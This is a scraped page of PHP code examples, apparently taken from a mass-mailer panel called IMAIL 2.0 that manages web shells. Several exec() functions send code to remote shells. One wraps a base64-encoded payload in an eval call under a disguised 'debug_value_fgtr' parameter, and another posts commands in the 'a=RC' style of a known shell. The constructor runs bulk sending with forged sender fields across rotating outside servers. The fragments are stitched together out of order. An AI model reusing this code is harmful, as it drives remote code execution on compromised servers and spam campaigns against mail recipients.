Example #1
0
 public function exec($url, $code, $data, $password, $login)
 {
     $req = $code == "echo 'test';" ? 'test' : 'mail';
     $postdata = http_build_query(array('pass' => $password, 'req' => $req, 'data' => $data));
     $response = AMUtil::sendPostRequest($url, $postdata, 10);
     //var_dump($response);
     $response_decoded = json_decode($response, true);
     if ($req == "test") {
         if ($response_decoded['status'] == "GOOD") {
             return "test";
         } else {
             return "bad";
         }
     }
     //print $response;
     return $response_decoded['status'] == "GOOD" ? "sended" : "error";
 }
Example #2
0
 public function exec($url, $code, $data, $password, $login)
 {
     $str_start = AMUtil::randomString();
     $str_end = AMUtil::randomString();
     $eval_sub = 'eval(base64_decode($_POST["debug_value_fgtr"]));';
     $eval_sub = "echo('" . substr($str_start, 0, 4) . "'.'" . substr($str_start, 4, 4) . "');" . $eval_sub . "die('" . substr($str_end, 0, 4) . "'.'" . substr($str_end, 4, 4) . "');";
     $post = 'act=eval&eval=' . urlencode($eval_sub) . '&d=.%2F&eval_txt=1&debug_value_fgtr=' . urlencode(base64_encode($code));
     if (!empty($password) && !empty($login)) {
         $headers = array('Authorization: Basic ' . base64_encode($login . ':' . $password));
     } else {
         $headers = array();
     }
     $headers[] = 'Content-type: application/x-www-form-urlencoded';
     $opts = array('http' => array('method' => 'POST', 'proxy' => defined('PROXY') ? 'tcp://' . PROXY : null, 'header' => implode(PHP_EOL, $headers), 'timeout' => $timeout, 'content' => $post));
     //print_r($opts);
     $context = stream_context_create($opts);
     $response = @file_get_contents($url, false, $context);
     $response = strstr($response, $str_start);
     $response = str_replace(array($str_end, $str_start), "", $response);
     return $response;
 }
 function __construct($query, $boundary, $logpass, $shellManager, $type = "htmle", $auto = true)
 {
     global $translation;
     $this->query = $query;
     $this->files = isset($_POST['files']) ? $_POST['files'] : null;
     $this->outserver = isset($_POST['outserver']) ? $_POST['outserver'] : null;
     $this->saveInTxtLog = isset($_POST['saveLogInTxt']) && $_POST['saveLogInTxt'] == "true" ? true : false;
     if (SERVICEMODE) {
         $this->outserver = null;
     }
     $this->output = "";
     $this->shellManager = $shellManager;
     if (!$auto) {
         return;
     }
     if ($this->query == "preview") {
         if (SERVICEMODE) {
             if ($type == "text") {
                 $_POST['text'] = $translation->getWord("service-warning-text") . PHP_EOL . $_POST['text'];
             } else {
                 $_POST['text'] = "<div style='color:red;font-weight:bold;'>" . $translation->getWord("service-warning-text") . "</div>" . $_POST['text'];
             }
         }
         $email = EmailSender::makeEmail($_POST['to'], $_POST['fromname'], $_POST['frommail'], $_POST['replymail'], $_POST['tema'], $_POST['additional'], $_POST['text'], $_POST['enumer'], $this->query == "preview");
         $this->output = $email->text;
         return;
     }
     if ($this->query == "send") {
         $emailSender = new EmailSender();
         if (SERVICEMODE) {
             if ($type == "text") {
                 $_POST['text'] = $translation->getWord("service-warning-text") . PHP_EOL . $_POST['text'];
             } else {
                 $_POST['text'] = "<div style='color:red;font-weight:bold;'>" . $translation->getWord("service-warning-text") . "</div>" . $_POST['text'];
             }
         }
         $emailSender->Send($type, $this->files, $this->outserver, $boundary, array('to' => $_POST['to'], 'fromname' => $_POST['fromname'], 'frommail' => $_POST['frommail'], 'replymail' => $_POST['replymail'], 'tema' => $_POST['tema'], 'additional' => $_POST['additional'], 'text' => $_POST['text'], 'sendInBase64' => $_POST['sendInBase64'] == "true", 'enumer' => $_POST['enumer']));
         $this->output = $emailSender->getOutput();
         if ($this->saveInTxtLog) {
             $this->saveToTxtLog($this->output);
         }
         return;
     }
     if ($this->query == "sendFromTemplate") {
         if (SERVICEMODE) {
             return;
         }
         $emailSender = new EmailSender();
         $emailSender->SendFromTemplate($_POST['template'], $_POST['to'], $this->outserver, $boundary);
         $this->output = $emailSender->getOutput();
         if ($this->saveInTxtLog) {
             $this->saveToTxtLog($this->output);
         }
         return;
     }
     if ($this->query == "upload_universal") {
         $this->output = TransferIface::uploadFile(isset($_FILES['elist']) ? $_FILES['elist'] : null);
         return;
     }
     if ($this->query == "savedata") {
         $this->output = TransferIface::downloadFile(isset($_POST['savedata']) ? $_POST['savedata'] : null, $_POST['filename']);
         return;
     }
     if ($this->query == "changepass") {
         if (SERVICEMODE) {
             return;
         }
         $this->output = $this->changePass($_POST['login'], $_POST['pass'], $logpass);
         return;
     }
     if ($this->query == "pingoutserver") {
         if (SERVICEMODE) {
             return;
         }
         $this->output = Shell::check($_POST['server']);
         return;
     }
     if ($this->query == "linesinfile") {
         if (SERVICEMODE) {
             return;
         }
         $this->output = AMUtil::linesInFile($_POST['file_path']);
         return;
     }
     if ($this->query == "saveSettings") {
         if (SERVICEMODE) {
             return;
         }
         $result = Settings::Save($_POST['settings']);
         if ($result) {
             $this->output = $translation->getWord("settings-saved");
         } else {
             $this->output = $translation->getWord("settings-save-error");
         }
         return;
     }
     if ($this->query == "removeSettings") {
         if (SERVICEMODE) {
             return;
         }
         Settings::Remove();
         $this->output = $translation->getWord("settings-removed");
         return;
     }
     if ($this->query == "loadSettings") {
         $data = Settings::Load();
         if (!$data) {
             $this->output = "";
         } else {
             $this->output = $data;
         }
         return;
     }
     if ($this->query == "sendInBackground") {
         if (SERVICEMODE) {
             return;
         }
         $emailSender = new EmailSender();
         $outservers = isset($_POST['outservers']) ? explode("\n", $_POST['outservers']) : array();
         $additional = array();
         foreach ($_POST['additional'] as $n => $values) {
             $additional[$n] = explode("\n", $values);
         }
         $emailSender->sendInBackground($_POST['type'], $_POST['files'], $boundary, $outservers, $_POST['timeout'], array('to' => explode("\n", $_POST['to']), 'fromname' => explode("\n", $_POST['fromname']), 'frommail' => explode("\n", $_POST['frommail']), 'replymail' => explode("\n", $_POST['replymail']), 'subject' => explode("\n", $_POST['subject']), 'additional' => $additional, 'text' => $_POST['text'], 'sendInBase64' => $_POST['sendInBase64'], 'randomTimeout' => $_POST['randomTimeout'], 'enumer' => null));
         //NO RETURN ^_^
     }
     if ($this->query == "getBackgroundState") {
         if (SERVICEMODE) {
             return;
         }
         $this->output = json_encode(EmailSender::loadState());
         return;
     }
     if ($this->query == "setBackgroundState") {
         if (SERVICEMODE) {
             return;
         }
         $this->output = EmailSender::setState($_POST['isRunning'] == "true");
         return;
     }
     if ($this->query == "selfDiagnostics") {
         //if(SERVICEMODE) return;
         $this->output = $this->selfDiagnostics();
         return;
     }
 }
 public function exec($url, $code, $data, $password, $login)
 {
     $postdata = http_build_query(array('pass' => $password, 'a' => 'RC', 'p1' => trim($code)));
     return AMUtil::sendPostRequest($url, $postdata, 10);
 }
Example #5
0
#UPD 20.10.2012 v 1.4
#UPD 16.02.2013 v 1.5
#UPD 15.04.2013 v 1.5.1
#UPD 01.06.2013 v 1.6
#UPD 15.09.2013 v 1.6.5
#UOD 30.04.2014 v 1.7
#UPD 11.08.2014 v 1.7.1
#UPD 15.09.2014 v 2.0b
#UPD 22.09.2014 v 2.0
#UPD 24.09.2014 v 2.0.1
#UPD 06.10.2014 v 2.0.2
#UPD 20.10.2014 v 2.0.3
define("VERSION", "2.0");
define("FULLVERSION", "2.0.8");
define("RELEASEDATE", "08-12-2014");
$boundary = "--" . AMUtil::randomString(10);
$timezone = 'Europe/Moscow';
/**
Запрос авторизации
*/
if ($logpass != "") {
    if (!isset($_SERVER['PHP_AUTH_USER'])) {
        header('WWW-Authenticate: Basic realm="IMAIL"');
        header('HTTP/1.0 401 Unauthorized');
        print "Authentification required!";
        exit;
    } else {
        if (md5($_SERVER['PHP_AUTH_USER'] . "IMAIL" . $_SERVER['PHP_AUTH_PW']) != $logpass) {
            header('WWW-Authenticate: Basic realm="IMAIL"');
            header('HTTP/1.0 401 Unauthorized');
            print 'Wrong login or password!';